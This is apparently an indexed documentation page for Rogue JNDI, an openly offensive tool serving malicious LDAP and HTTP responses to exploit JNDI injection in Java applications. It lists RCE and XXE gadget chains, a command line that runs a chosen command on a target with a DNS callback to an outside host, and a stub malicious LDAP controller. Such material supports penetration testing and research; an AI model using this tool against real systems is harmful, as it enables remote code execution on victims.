DOCSEARCHbyAlgolia
Submit Docs

Rogue JNDI Documentation

repository·master·Indexed 22 days ago

https://github.com/veracode-research/rogue-jndi

A tool providing malicious LDAP and HTTP servers to exploit JNDI injection vulnerabilities in Java applications. It supports multiple RCE and XXE gadget chains, including RemoteReference, Tomcat, Groovy, and WebSphere payloads, to achieve remote code execution or out-of-band XXE via remote classloading and ObjectFactory manipulation.

Tokens
1.2K
Snippets
4
Records
7
Agent score
28%

What's inside Rogue JNDI

  1. Overview of Rogue JNDI

    master
    Rogue JNDI is a malicious LDAP and HTTP server designed to exploit insecure-by-default Java JNDI (Java Naming and Directory Interface) APIs. It works by hosting servers locally that respond to JNDI resolution requests from a vulnerable client with malicious entries. These entries leverage various attack vectors, including remote classloading and ObjectFactory manipulation, to achieve Remote Code Execution (RCE) or Out-of-Band (OOB) XXE.

  2. Supported JNDI Attack Payloads

    master

    Rogue JNDI supports several specific payload controllers to target different vulnerabilities and environments:

    • RemoteReference.java: The classic JNDI attack via remote classloading. Effective up to JDK 8u191.
    • Tomcat.java: Achieves RCE via unsafe reflection in org.apache.naming.factory.BeanFactory.
    • Groovy.java: Achieves RCE via unsafe reflection in org.apache.naming.factory.BeanFactory combined with groovy.lang.GroovyShell.
    • WebSphere1.java: Leads to OOB XXE in com.ibm.ws.webservices.engine.client.ServiceFactory.
    • WebSphere2.java: Leads to RCE via classpath manipulation in com.ibm.ws.client.applicationclient.ClientJ2CCFFactory.

  3. Use the Rogue JNDI CLI

    master

    Run the Rogue JNDI server using the compiled JAR file. The most critical parameters for a successful attack are -n (the hostname of your local HTTP server, which must be accessible by the target) and -c (the command you wish to execute on the target).

    # Example: Execute an nslookup command on the target
java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"

  5. How LDAP routing works with @LdapMapping

    master

    The LdapServer uses a routing mechanism to map LDAP Distinguished Names (DNs) to specific LdapController implementations.

    1. Registration: Any class annotated with @LdapMapping is automatically discovered via reflection. The uri attribute of the @LdapMapping annotation defines the path used for routing.
    2. Routing Logic: When a search request is received, the server compares the request's Base DN against the registered mappings.
    3. Wildcard Support: Mappings can use a wildcard * at the end of the URI. If a mapping ends with *, the server performs a prefix match (e.g., a mapping for cn=user* will match a Base DN of cn=user,dc=example,dc=com).
    4. Execution: Once a matching controller is found, the server calls controller.sendResult(result, base) to execute the payload or return the malicious LDAP data.
    // Example of how a controller might be defined to be picked up by LdapServer
@LdapMapping(uri = {"/cn=attacker", "/ou=malicious*"})
public class MyMaliciousController implements LdapController {
    @Override
    public void sendResult(InMemoryInterceptedSearchResult result, String base) {
        // Implementation for sending malicious LDAP response
    }
}

  6. Rogue JNDI CLI Options Reference

    master

    The following options are available when running the Rogue JNDI JAR:

    OptionLong FlagDescription
    -c--commandCommand to execute on the target server (default: /Applications/Calculator.app/Contents/MacOS/Calculator)
    -n--hostnameLocal HTTP server hostname (required for remote classloading and websphere payloads) (default: 192.168.1.10)
    -l--ldapPortLdap bind port (default: 1389)
    -p--httpPortHttp bind port (default: 8000)
    N/A--wsdl[websphere1 payload option] WSDL file with XXE payload (default: /list.wsdl)
    N/A--localjar[websphere2 payload option] Local jar file to load (this file should be located on the remote server) (default: ../../../../../tmp/jar_cache7808167489549525095.tmp)
    -h--helpShow this help

  7. Start the LDAP server

    master

    The LdapServer.start() method initializes and starts a malicious LDAP server using an in-memory directory server. It listens on 0.0.0.0 at the port specified by Config.ldapPort.

    When the server starts, it automatically scans the package for any classes annotated with @LdapMapping and registers them as controllers based on their defined URIs. This allows the server to route LDAP search requests to specific logic handlers.

    artsploit.LdapServer.start();